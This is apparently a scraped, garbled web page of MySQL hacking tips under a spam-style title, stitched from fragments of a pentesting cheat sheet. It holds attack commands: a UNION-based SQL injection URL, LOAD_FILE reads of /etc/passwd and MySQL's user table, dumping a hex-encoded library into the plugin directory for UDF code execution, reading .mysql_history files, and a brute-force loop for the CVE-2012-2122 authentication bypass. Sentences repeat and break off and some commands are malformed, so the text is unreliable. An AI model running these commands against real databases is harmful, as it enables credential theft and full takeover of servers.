Mysql Hacktricks Verified !exclusive!
If file reading is blocked via LOAD DATA LOCAL INFILE , try:
http://example.com/vulnerable-page?id=1 UNION SELECT NULL,NULL,NULL -- -
Explicitly set secure_file_priv to NULL in your configuration file to prevent unauthorized file reads/writes. secure_file_priv = NULL Use code with caution.
SELECT LOAD_FILE('/var/lib/mysql/mysql/user.MYD'); -- only if FILE privilege mysql hacktricks verified
You don't need to load data into a table; you can load it directly into a result set using LOAD_FILE() .
If the secure_file_priv variable is empty, you can read files from the host OS. SELECT LOAD_FILE('/etc/passwd');
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; If file reading is blocked via LOAD DATA
In legacy environments, MySQL may use the older, weaker 16-byte hashing algorithm, which is highly susceptible to fast offline cracking. 4. Bypassing Authentication (CVE-2012-2122)
: Transfer a compiled shared library (e.g., lib_mysqludf_sys.so for Linux or .dll for Windows) into that directory. Create Function : Map the library to a new MySQL function:
cat ~/.mysql_history /home/user/.mysql_history /root/.mysql_history If the secure_file_priv variable is empty, you can
Example:
Security professionals use these checks to verify the "hardness" of a MySQL instance:
for i in 1..500; do mysql -h -u root -p"wrong_password" 2>/dev/null && break; done Use code with caution. 3. Advanced SQL Injection (SQLi) Exploitation
Check if the service is running as root . If so, a UDF exploit grants full system control.
ConversionConversion EmoticonEmoticon